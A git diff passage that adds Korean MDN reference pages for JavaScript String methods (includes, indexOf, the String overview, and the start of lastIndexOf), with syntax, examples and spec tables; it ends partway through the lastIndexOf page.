+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.String.fromCharCode")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("String.fromCodePoint()")}}</li>
+ <li>{{jsxref("String.prototype.charAt()")}}</li>
+ <li>{{jsxref("String.prototype.charCodeAt()")}}</li>
+ <li>{{jsxref("String.prototype.codePointAt()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/string/includes/index.html b/files/ko/web/javascript/reference/global_objects/string/includes/index.html
new file mode 100644
index 0000000000..a3eb79ad16
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/string/includes/index.html
@@ -0,0 +1,125 @@
+---
+title: String.prototype.includes()
+slug: Web/JavaScript/Reference/Global_Objects/String/includes
+tags:
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/includes
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>includes()</code></strong> 메서드는 하나의 문자열이 다른 문자열에 포함되어 있는지를 판별하고, 결과를 <code>true</code> 또는 <code>false</code> 로 반환합니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/string-includes.html")}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>str</var>.includes(<var>searchString</var>[, <var>position</var>])</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>searchString</code></dt>
+ <dd>이 문자열에서 찾을 다른 문자열.</dd>
+ <dt><code>position</code> {{optional_inline}}</dt>
+ <dd><code>searchString</code>을 찾기 시작할 위치. 기본값 0.</dd>
+</dl>
+
+<h3 id="반환값">반환값</h3>
+
+<p>문자열을 찾아내면 <code>true</code>. 실패하면 <code>false</code>.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>includes()</code> 메서드를 사용해 문자열 내에 찾고자 하는 다른 문자열이 있는지 확인할 수 있습니다.</p>
+
+<h3 id="대소문자_구분">대소문자 구분</h3>
+
+<p><code>includes()</code> 메서드는 대소문자를 구별합니다. 예를 들어 아래 코드는 <code>false</code>를 반환합니다.</p>
+
+<pre class="brush: js">'Blue Whale'.includes('blue'); // returns false
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="includes()_사용하기"><code>includes()</code> 사용하기</h3>
+
+<pre class="brush: js">var str = 'To be, or not to be, that is the question.';
+
+console.log(str.includes('To be'));       // true
+console.log(str.includes('question'));    // true
+console.log(str.includes('nonexistent')); // false
+console.log(str.includes('To be', 1));    // false
+console.log(str.includes('TO BE'));       // false
+</pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<p>이 메서드는 ECMAScript 6 규격에 포함되었습니다만 아직까지는 모든 JavaScrpt가 이 기능을 지원하고 있지는 않습니다. 하지만 여러분은 이 메서드를 다음과 같이 쉽게 <a href="https://en.wikipedia.org/wiki/Polyfill">polyfill</a> 할 수 있습니다.</p>
+
+<pre class="brush: js">if (!String.prototype.includes) {
+  String.prototype.includes = function(search, start) {
+    'use strict';
+    if (typeof start !== 'number') {
+      start = 0;
+    }
+
+    if (start + search.length &gt; this.length) {
+      return false;
+    } else {
+      return this.indexOf(search, start) !== -1;
+    }
+  };
+}
+
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.includes', 'String.prototype.includes')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.includes', 'String.prototype.includes')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("javascript.builtins.String.includes")}}</div>
+
+<h2 id="String.prototype.contains">String.prototype.contains</h2>
+
+<p>Firefox 18 - 39에서, <code>include()</code> 메서드의 이름은 <code>contains()</code>이었습니다. contains() 함수는 아래와 같은 이유로 {{bug(1102219)}}에서 <code>includes()</code>로 변경되었습니다:</p>
+
+<p>It's been <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=789036">reported</a> that some websites using MooTools 1.2 broke on Firefox 17. This version of MooTools checks whether <code>String.prototype.contains()</code> exists and, if it doesn't,  MooTools adds its own function. With the introduction of this function in Firefox 17, the behavior of that check changed in a way that causes code based on MooTools' <code>String.prototype.contains()</code> implementation to break. As a result, the implementation was <a href="https://hg.mozilla.org/releases/mozilla-aurora/rev/086db97198a8">disabled</a> in Firefox 17 and <code>String.prototype.contains()</code> was available one version later, in Firefox 18, when <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=789036#c32">outreach to MooTools </a>was leading to the <a href="http://mootools.net/blog/2013/02/19/mootools-1-2-6-released">release of MooTools version 1.2.6</a>.</p>
+
+<p>MooTools 1.3 forces its own version of <code>String.prototype.contains()</code>, so websites relying on it should not break. However, you should note that <a href="http://mootools.net/core/docs/1.3.2/Types/String#String-method:-contains">MooTools 1.3 signature</a> and ECMAScript 6 signatures for this method differ (on the second argument). Later, <a href="https://github.com/mootools/mootools-core/blob/master/Docs/Types/String.md#note">MooTools 1.5+ changed the signature to match the ES6 standard.</a></p>
+
+<p>Firefox 48에서, <code>String.prototype.contains()</code>은 제거되었습니다. 오직 <code>String.prototype.includes()</code>만 사용할 수 있습니다.</p>
+
+<h2 id="관련문서">관련문서</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.includes()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("TypedArray.prototype.includes()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("String.prototype.indexOf()")}}</li>
+ <li>{{jsxref("String.prototype.lastIndexOf()")}}</li>
+ <li>{{jsxref("String.prototype.startsWith()")}}</li>
+ <li>{{jsxref("String.prototype.endsWith()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/string/index.html b/files/ko/web/javascript/reference/global_objects/string/index.html
new file mode 100644
index 0000000000..68e9b021e5
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/string/index.html
@@ -0,0 +1,298 @@
+---
+title: String
+slug: Web/JavaScript/Reference/Global_Objects/String
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>String</code></strong> 전역 객체는 문자열(문자의 나열)의 생성자입니다.</p>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<p>문자열 리터럴은 다음과 같은 형식을 사용합니다.</p>
+
+<pre class="syntaxbox">'string text'
+"string text"
+"中文 español Deutsch English देवनागरी العربية português বাংলা русский 日本語 norsk bokmål ਪੰਜਾਬੀ 한국어 தமிழ் עברית"</pre>
+
+<p>문자열은 <code>String</code> 전역 객체를 직접 사용하여 생성할 수 있습니다.</p>
+
+<pre class="syntaxbox">String(<em>thing</em>)</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>thing</code></dt>
+ <dd>문자열로 변환할 아무 값.</dd>
+ <dt>
+ <h3 id="템플릿_리터럴">템플릿 리터럴</h3>
+ </dt>
+</dl>
+
+<p>ECMAScript 2015 이후, 문자열 리터럴은 소위 <a href="/ko/docs/Web/JavaScript/Reference/Template_literals">템플릿 리터럴</a>이 될 수 있습니다.</p>
+
+<pre class="language-html"><code class="language-html">`hello world` `hello! world!` `hello ${who}` tag `<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>a</span><span class="punctuation token">&gt;</span></span>${who}<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>a</span><span class="punctuation token">&gt;</span></span>`</code></pre>
+
+<h3 id="이스케이프_표현">이스케이프 표현</h3>
+
+<p>일반적인 출력 문자 외의 특수 문자는 이스케이프 표현을 사용해 적을 수 있습니다.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">코드</th>
+   <th scope="col">출력</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>\XXX</code></td>
+   <td>8진수 Latin-1 문자</td>
+  </tr>
+  <tr>
+   <td><code>\'</code></td>
+   <td>작은따옴표</td>
+  </tr>
+  <tr>
+   <td><code>\"</code></td>
+   <td>큰따옴표</td>
+  </tr>
+  <tr>
+   <td><code>\\</code></td>
+   <td>역슬래시</td>
+  </tr>
+  <tr>
+   <td><code>\n</code></td>
+   <td>개행</td>
+  </tr>
+  <tr>
+   <td><code>\r</code></td>
+   <td>캐리지 리턴</td>
+  </tr>
+  <tr>
+   <td><code>\v</code></td>
+   <td>세로 탭</td>
+  </tr>
+  <tr>
+   <td><code>\t</code></td>
+   <td>탭</td>
+  </tr>
+  <tr>
+   <td><code>\b</code></td>
+   <td>백 스페이스</td>
+  </tr>
+  <tr>
+   <td><code>\f</code></td>
+   <td>폼 피드</td>
+  </tr>
+  <tr>
+   <td><code>\uXXXX</code></td>
+   <td>유니코드 코드포인트</td>
+  </tr>
+  <tr>
+   <td><code>\u{X}</code> ... <code>\u{XXXXXX}</code></td>
+   <td>유니코드 코드포인트 {{experimental_inline}}</td>
+  </tr>
+  <tr>
+   <td><code>\xXX</code></td>
+   <td>Latin-1 문자</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p>일부 다른 프로그래밍 언어와 달리, JavaScript는 작은따옴표와 큰따옴표 문자열을 구분하지 않습니다. 따라서 위의 이스케이프 문자는 작은따옴표나 큰따옴표에서 상관 없이 작동합니다.</p>
+</div>
+
+<h3 id="긴_문자열_리터럴">긴 문자열 리터럴</h3>
+
+<p>작성한 코드가 매우 긴 문자열을 포함해야 하는 경우, 끝 없이 뻗어나가는 한 줄이나 편집기의 재량에 따라 자동으로 줄을 넘기는 대신 직접 여러 줄로 나누되 내용에는 영향을 주지 않고 싶을 때가 있을겁니다. 이런 상황에는 두 가지 방법을 사용할 수 있습니다.</p>
+
+<p>우선 다음과 같이 <a href="/ko/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#%EB%8D%94%ED%95%98%EA%B8%B0_()">+</a> 연산자를 사용할 수 있습니다.</p>
+
+<pre class="brush: js"><code>let longString = "여러 줄에 걸쳐 작성해야 할 정도로 " +
+                 "긴 문자열인데 왜 한 줄에 다 적으면 안되냐면 " +
+                 "코드를 읽기 힘들어지니까요.";</code></pre>
+
+<p>아니면 역슬래시 문자("\")를 각 줄의 맨 끝에 붙여 문자열이 이어진다는걸 표시할 수도 있습니다. 역슬래시 다음에 공백을 포함한 어떤 문자라도 붙으면 제대로 작동하지 않으므로 주의해야 합니다.</p>
+
+<pre class="brush: js"><code>let longString = "여러 줄에 걸쳐 작성해야 할 정도로 \
+긴 문자열인데 왜 한 줄에 다 적으면 안되냐면 \
+코드를 읽기 힘들어지니까요.";</code></pre>
+
+<p>두 예시 모두 동일한 문자열을 생성합니다.</p>
+
+<h2 id="Description" name="Description">설명</h2>
+
+<p>문자열은 텍스트 형태로 표현될 수있는 데이터를 보관하는 데 유용합니다. 문자열에서 가장 많이 사용되는 작업들은 문자열의 길이를 확인하는 ({{jsxref("String.length", "length")}}), 문자열을 생성하고 연결하는 <a href="/ko/docs/Web/JavaScript/Reference/Operators/String_Operators" title="JavaScript/Reference/Operators/String_Operators">+ 와 += 문자열 연산자</a>, 서브문자열(substring)이 있는지 확인하고, 있으면 위치를 확인하는 {{jsxref("String.prototype.indexOf()", "indexOf()")}} 메서드, 서브문자열(substring)을 추출해내는 {{jsxref("String.prototype.substring()", "substring()")}} 메서드가 있습니다.</p>
+
+<h3 id="문자_접근">문자 접근</h3>
+
+<p>문자열에서 개개의 문자에 접근할 수 있는 방법은 두가지가 있습니다. 첫번째는 {{jsxref("String.prototype.charAt()", "charAt()")}} 메서드를 이용하는 것입니다:</p>
+
+<pre class="brush: js">return 'cat'.charAt(1); // returns "a"
+</pre>
+
+<p>다른 방법(ECMAScript 5에서 소개하고 있는)은 문자열을 배열과 같은 오브젝트로 취급하여, 문자에 해당하는 숫자 인덱스를 사용하는 방법입니다 :</p>
+
+<pre class="brush: js">return 'cat'[1]; // returns "a"
+</pre>
+
+<p>브라켓([ ]) 표기법을 사용하여 문자에 접근하는 경우 , 이러한 프로퍼티들에 새로운 값을 할당하거나 삭제할 수는 없습니다. 포함되어 있는 프로퍼티들은 작성할 수도, 수정할 수도 없습니다. (더 자세한 정보는 {{jsxref("Object.defineProperty()")}}를 참고 바랍니다 .)</p>
+
+<h3 id="Comparing_strings" name="Comparing_strings">문자열 비교</h3>
+
+<p>C 개발자는 문자열 비교를 위하여 <code><span style="font-family: courier new,andale mono,monospace;">strcmp()</span></code> 함수를 사용합니다. JavaScript에서는 단지 <a href="/ko/docs/Web/JavaScript/Reference/Operators/Comparison_Operators" style="line-height: inherit;" title="JavaScript/Reference/Operators/Comparison_Operators">less-than와 greater-than 연산자</a>만을 사용하여 문자열을 비교할 수 있습니다<span style="line-height: inherit;"> </span><span style="line-height: inherit;">:</span></p>
+
+<pre class="brush: js">var a = "a";
+var b = "b";
+if (a &lt; b) { // true
+  console.log(a + " is less than " + b);
+} else if (a &gt; b) {
+  console.log(a + " is greater than " + b);
+} else {
+  console.log(a + " and " + b + " are equal.");
+}
+</pre>
+
+<p>비슷한 결과를 얻을 수 있는 방법으로 <span style="font-family: courier new,andale mono,monospace;">String</span> 인스턴스에서 상속된 {{jsxref("String.prototype.localeCompare()", "localeCompare()")}} 메서드를 사용할 수 있습니다.</p>
+
+<h3 id="문자열_원형과_String_객체의_차이">문자열 원형과 <code>String</code> 객체의 차이</h3>
+
+<div>JavaScript는 <code>String</code> 오브젝트와 원형의 문자열을 다르게 취급한다는 것에 주의해야 합니다. ({{jsxref("Boolean")}}과 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects" title="JavaScript/Reference/Global_Objects/">숫자</a>의 true도 마찬가지입니다.)</div>
+
+<div> </div>
+
+<p>문자열 리터럴(작은 따옴표 또는 큰 따옴표로 생성되는)과 생성자 없이(즉. {{jsxref("Operators/new", "new")}} 키워드를 사용하지 않고) <code>String</code>을 호출하여 반환된 문자열은 원형 문자열(primitive strings)입니다. JavaScript는 자동적으로 원형을 <code>String</code> 오브젝트로 변환하기 때문에, <code>String</code> 오브젝트 메서드를 사용하여 원형문자열을 생성할 수 있습니다. 문맥 안의 메서드에서 프로퍼티 조회 또는 원형의 문자열 호출이 발생하면, JavaScript는 자동으로 문자열 원형을 감싸고 프로퍼티 조회를 수행 하거나 메서드를 호출합니다.</p>
+
+<pre class="brush: js">var s_prim = "foo";
+var s_obj = new String(s_prim);
+
+console.log(typeof s_prim); // Logs "string"
+console.log(typeof s_obj);  // Logs "object"
+</pre>
+
+<p>문자열 원형과 <code>String</code> 오브젝트는 {{jsxref("Global_Objects/eval", "eval()")}}을 사용할 때 다른 결과를 제공합니다. <code>eval</code>에 전달되는 문자열 원형들은 소스 코드 취급을 받습니다; <code>String</code> 오브젝트들은 다른 모든 오브젝트들과 마찬가지로 취급하며, 오브젝트를 반환합니다. 예를 들면:</p>
+
+<pre class="brush: js">var s1 = '2 + 2';               // creates a string primitive
+var s2 = new String('2 + 2');   // creates a String object
+console.log(eval(s1));          // returns the number 4
+console.log(eval(s2));          // returns the string "2 + 2"
+</pre>
+
+<p>이러한 이유로, 비록 코드 상에서 원형 문자열을 사용하는 대신에 <code>String</code> 오브젝트를 사용하게 되면 코드가 손상될 수 있지만, 일반적인 개발자는 차이를 걱정할 필요는 없습니다.</p>
+
+<p><code>String</code><span style="line-height: inherit;"> 오프젝트는 언제든지 </span>{{jsxref("String.prototype.valueOf()", "valueOf()")}} <span style="line-height: inherit;"> 메서드로 원형에 대응하도록 전환할 수 있습니다.</span></p>
+
+<pre class="brush: js">console.log(eval(s2.valueOf())); // returns the number 4
+</pre>
+
+<h2 id="Properties" name="Properties">속성</h2>
+
+<dl>
+ <dt>{{jsxref("String.prototype")}}</dt>
+ <dd>String 오브젝트는 프로퍼티의 추가가 가능합니다.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">메서드</h2>
+
+<dl>
+ <dt>{{jsxref("String.fromCharCode()")}}</dt>
+ <dd>지정된 유니코 값의 순서를 이용하여 만든 문자열을 반환합니다.</dd>
+ <dt>{{jsxref("String.fromCodePoint()")}} {{experimental_inline}}</dt>
+ <dd>지정된 코드 포인트 순서를 이용하여 만든 문자열을 반환합니다.</dd>
+ <dt>{{jsxref("String.raw()")}} {{experimental_inline}}</dt>
+ <dd>원형 템플릿 문자열(raw template string)에서 생성된 문자열을 반환합니다.</dd>
+</dl>
+
+<h2 id="String_generic_메서드"><code>String</code> generic 메서드</h2>
+
+<div class="warning">
+<p><strong><code>String</code> generic들은 비표준으로, 가까운 미래에 사라질 것입니다.</strong> 아래에서 제공하고 있는 방식을 사용하지 않으면, 브라우저들간의 호환성은 기대하기 어렵습니다. </p>
+</div>
+
+<p><code>String</code><span style="line-height: inherit;"> 인스턴스 메서드는 JavScript 1.6으로 Firefox에서(ECMAScript 표준에 속하지는 않지만) 어떤 오브젝트라도 String 메서드에 적용하여 String 오브젝트에서 사용가능합니다:</span></p>
+
+<pre class="brush: js">var num = 15;
+console.log(String.replace(num, /5/, '2'));
+</pre>
+
+<p class="brush: js">{{jsxref("Global_Objects/Array", "Generics", "#Array_generic_methods", 1)}}은<span style="line-height: inherit;"> </span>{{jsxref("Global_Objects/Array", "Array")}}<span style="line-height: inherit;"> 메서드에도 사용 가능합니다.</span></p>
+
+<h2 id="String_instances" name="String_instances"><code>String</code> 인스턴스</h2>
+
+<h3 id="속성">속성</h3>
+
+<p>{{ page('ko/docs/JavaScript/Reference/Global_Objects/String/prototype', 'Properties') }}</p>
+
+<h3 id="메서드">메서드</h3>
+
+<h4 id="HTML과_관계없는_메서드">HTML과 관계없는 메서드</h4>
+
+<p>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/prototype', 'Methods_unrelated_to_HTML')}}</p>
+
+<h4 id="HTML_wrapper_methods">HTML wrapper methods</h4>
+
+<p>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/prototype', 'HTML_wrapper_methods')}}</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="문자열_변환">문자열 변환</h3>
+
+<p>비록 일반적으로 toString() 함수를 많이 사용하고 있지만, {{jsxref("String.prototype.toString()", "toString()")}}의 "안전한" 대안으로 String을 사용할 수 있습니다. String은 {{jsxref("Global_Objects/null", "null")}}과 {{jsxref("Global_Objects/undefined", "undefined")}}에 대해서도 잘 동작합니다. 예를 들면: </p>
+
+<pre class="brush: js">var outputStrings = [];
+for (var i = 0, n = inputValues.length; i &lt; n; ++i) {
+  outputStrings.push(String(inputValues[i]));
+}
+</pre>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5', 'String')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string-objects', 'String')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string-objects', 'String')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.String",2)}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("DOMString")}}</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/DOMString/Binary">Binary strings</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/string/indexof/index.html b/files/ko/web/javascript/reference/global_objects/string/indexof/index.html
new file mode 100644
index 0000000000..3e12f74d51
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/string/indexof/index.html
@@ -0,0 +1,159 @@
+---
+title: String.prototype.indexOf()
+slug: Web/JavaScript/Reference/Global_Objects/String/indexOf
+tags:
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/indexOf
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>indexOf()</code></strong> 메서드는 호출한 {{jsxref("String")}} 객체에서 주어진 값과 일치하는 첫 번째 인덱스를 반환합니다. 일치하는 값이 없으면 -1을 반환합니다. </p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-indexof.html")}}</div>
+
+
+
+<div class="note">
+<p><strong>참고:</strong> {{jsxref("Array")}}에서는 {{jsxref("Array.prototype.indexOf()")}} 메서드가 같은 역할을 합니다.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>str</var>.indexOf(<var>searchValue</var>[, <var>fromIndex</var>])</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>searchValue</code></dt>
+ <dd>찾으려는 문자열. 아무 값도 주어지지 않으면 <a href="https://tc39.github.io/ecma262/#sec-tostring">문자열 <code>"undefined"</code>를 찾으려는 문자열로 사용</a>합니다.</dd>
+ <dt><code>fromIndex</code> {{optional_inline}}</dt>
+ <dd>문자열에서 찾기 시작하는 위치를 나타내는 인덱스 값입니다. 어떤 정수값이라도 가능합니다. 기본값은 0이며, 문자열 전체를 대상으로 찾게 됩니다. 만약 <code>fromIndex </code>값이 음의 정수이면 전체 문자열을 찾게 됩니다. 만약 <code>fromIndex &gt;= str.length </code>이면, 검색하지 않고 바로 -1을 반환합니다. <code>searchValue</code>가 공백 문자열이 아니라면, <code>str.length</code>를 반환합니다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p><code>searchValue</code>의 첫 번째 등장 인덱스. 찾을 수 없으면 -1.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>문자열 내에 있는 문자들은 왼쪽에서 오른쪽 방향으로 순번이 매겨집니다. 제일 처음 문자는 0번째 순번(index)이며, <code>stringName </code>문자열의 마지막 문자의 순번 <code>stringName.length -1</code> 입니다. </p>
+
+<pre class="brush: js">'Blue Whale'.indexOf('Blue');     // returns  0
+'Blue Whale'.indexOf('Blute');    // returns -1
+'Blue Whale'.indexOf('Whale', 0); // returns  5
+'Blue Whale'.indexOf('Whale', 5); // returns  5
+'Blue Whale'.indexOf('Whale', 7); // returns -1
+'Blue Whale'.indexOf('');         // returns  0
+'Blue Whale'.indexOf('', 9);      // returns  9
+'Blue Whale'.indexOf('', 10);     // returns 10
+'Blue Whale'.indexOf('', 11);     // returns 10</pre>
+
+<p><code>indexOf()</code> 메서드는 대소문자를 구분합니다. 예를 들면, 아래 예제는 일치하는 문자열이 없으므로 <code>-1</code>을 반환합니다.</p>
+
+<pre class="brush: js">'Blue Whale'.indexOf('blue'); // returns -1
+</pre>
+
+<h3 id="존재_여부_확인">존재 여부 확인</h3>
+
+<p>'0'을 평가했을 때 <code>true</code>가 아니고, -1을 평가했을 때 <code>false</code>가 아닌 것에 주의해야 합니다. 따라서, 임의의 문자열에 특정 문자열이 있는지를 확인하는 올바른 방법은 다음과 같습니다.</p>
+
+<pre class="brush: js">'Blue Whale'.indexOf('Blue') !== -1; // true
+'Blue Whale'.indexOf('Bloe') !== -1; // false
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="indexOf()_사용하기"><code>indexOf()</code> 사용하기</h3>
+
+<p>아래 예제는 <code>"Brave new world"</code> 문자열의 위치를 확인하기 위해 <code>indexOf()</code>와 {{jsxref("String.prototype.lastIndexOf()", "lastIndexOf()")}} 를 사용하고 있습니다.</p>
+
+<pre class="brush: js">var anyString = 'Brave new world';
+
+console.log('The index of the first w from the beginning is ' + anyString.indexOf('w'));
+// 첫번째 w 문자 위치는 8
+console.log('The index of the first w from the end is ' + anyString.lastIndexOf('w'));
+// 마지막 w 문자 위치는 10
+
+console.log('The index of "new" from the beginning is ' + anyString.indexOf('new'));
+// 첫번째 new 문자열 위치는 6
+console.log('The index of "new" from the end is ' + anyString.lastIndexOf('new'));
+// 마지막 new 문자열 위치는 6
+</pre>
+
+<h3 id="indexOf()와_대소문자_구분"><code>indexOf()</code>와 대소문자 구분</h3>
+
+<p>아래 예제에서는 2개의 문자열 변수를 정의하고 있습니다. 이 변수들 내에 있는 문자열들은 모두 같지만 두 번째 변수에 포함되어 있는 문자열은 대문자를 포함하고 있습니다. 첫 번째 {{domxref("console.log()")}} 메서드의 결과값은 19입니다. 하지만, 두 번째 <code>console.log()</code> 메서드의 결과값은 <code>-1</code>입니다. 왜냐하면, indexOf() 메서드는 대소문자를 구분하기 때문에 <code>myCapString</code>에서 "<code>cheddar</code>" 문자열을 찾을 수 없기 때문입니다. </p>
+
+<pre class="brush: js">var myString    = 'brie, pepper jack, cheddar';
+var myCapString = 'Brie, Pepper Jack, Cheddar';
+
+console.log('myString.indexOf("cheddar") is ' + myString.indexOf('cheddar'));
+// 로그에 19를 출력합니다.
+console.log('myCapString.indexOf("cheddar") is ' + myCapString.indexOf('cheddar'));
+// 로그에 -1을 출력합니다.
+</pre>
+
+<h3 id="indexOf()를_사용하여_문자열_내의_특정_문자_숫자_세기"><code>indexOf()</code>를 사용하여 문자열 내의 특정 문자 숫자 세기</h3>
+
+<p>아래 예제는 <code>str </code>문자열에서 <code>e </code>문자의 총 숫자를 확인하는 프로그램입니다:</p>
+
+<pre class="brush: js">var str = 'To be, or not to be, that is the question.';
+var count = 0;
+var pos = str.indexOf('e'); //pos는 4의 값을 가집니다.
+
+while (pos !== -1) {
+  count++;
+  pos = str.indexOf('e', pos + 1); // 첫 번째 e 이후의 인덱스부터 e를 찾습니다.
+}
+
+console.log(count); // 로그에 4를 출력합니다.
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.7', 'String.prototype.indexOf')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.indexof', 'String.prototype.indexOf')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.indexof', 'String.prototype.indexOf')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("javascript.builtins.String.indexOf")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.charAt()")}}</li>
+ <li>{{jsxref("String.prototype.lastIndexOf()")}}</li>
+ <li>{{jsxref("String.prototype.split()")}}</li>
+ <li>{{jsxref("Array.prototype.indexOf()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/string/lastindexof/index.html b/files/ko/web/javascript/reference/global_objects/string/lastindexof/index.html
new file mode 100644
index 0000000000..d2244feee5
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/string/lastindexof/index.html
@@ -0,0 +1,105 @@
+---
+title: String.prototype.lastIndexOf()
+slug: Web/JavaScript/Reference/Global_Objects/String/lastIndexOf
+tags:
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/lastIndexOf
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>lastIndexOf()</code></strong> 메서드는 주어진 값과 일치하는 부분을 <code>fromIndex</code>로부터 역순으로 탐색하여, 최초로 마주치는 인덱스를 반환합니다. 일치하는 부분을 찾을 수 없으면 <code>-1</code>을 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-lastindexof.html", "shorter")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate"><var>str</var>.lastIndexOf(<var>searchValue</var>[, <var>fromIndex</var>])</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>searchValue</code></dt>
+ <dd>탐색할 문자열. 빈 값을 제공할 경우 <code>fromIndex</code>를 반환합니다.</dd>
+ <dt><code>fromIndex</code> {{optional_inline}}</dt>
+ <dd>탐색의 시작점으로 사용할 인덱스. 기본값은 <code>+Infinity</code>입니다. <code>fromIndex &gt;= str.length</code>인 경우 모든 문자열을 탐색합니다. <code>fromIndex &lt; 0</code>인 경우엔 <code>0</code>을 지정한 것과 동일합니다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>문자열 내에서 searchValue가 마지막으로 등장하는 인덱스. 등장하지 않으면 <code>-1</code>.</p>
+
+<h2 id="설명">설명</h2>
+
